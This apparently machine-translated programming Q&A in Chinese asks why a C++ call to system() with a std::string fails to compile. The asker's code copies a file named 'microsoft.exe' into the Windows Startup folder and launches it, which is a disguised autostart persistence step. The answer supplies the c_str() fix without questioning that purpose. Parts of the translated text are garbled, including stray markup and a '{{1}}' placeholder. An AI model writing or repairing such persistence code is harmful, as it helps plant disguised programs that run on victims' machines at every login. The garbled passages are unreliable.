如何修复“找不到匹配的系统(字符串)

时间:2019-06-11 10:20:14

标签: c++

我收到错误E2285,找不到与“ system(string)”相匹配的错误 请帮我。 代码在下面 我不知道为什么它不起作用,因为这通常与cout <<< / p>

#include <stdio.h>  /* defines FILENAME_MAX */
using namespace std;
#define WINDOWS  /* uncomment this line to use it for windows.*/
#include <direct.h>
#define GetCurrentDir _getcwd
#include <iostream>


string GetCurrentWorkingDir( void ) {
  char buff[FILENAME_MAX];
  GetCurrentDir( buff, FILENAME_MAX );
  std::string current_working_dir(buff);
  return current_working_dir;
}

int main(){
  string dir;
  dir = GetCurrentWorkingDir();
  system("move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup");
  system("microsoft.html");
  system("cd\\");
  system("cd microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup");
  system("microsoft.exe");

  return 1;
}

1 个答案:

答案 0 :(得分:1)

std::system花费const char*而不是std::string,这从warnings显而易见。

system("move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup")

在这里,总和的结果为std::string。将参数收集到一个单独的std::string中,然后使用std::string::c_str方法调用std::system

auto arg = "move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup";
std::system(arg.c_str());

除此之外,您还有很多错误,例如您没有包含<string>标头,而是从1返回main而不是0You use using namespace std;,使用C版本的标准标头(由<stdio.h>代替<cstdio>),从未包含定义<cstdlib>的{​​{1}}等。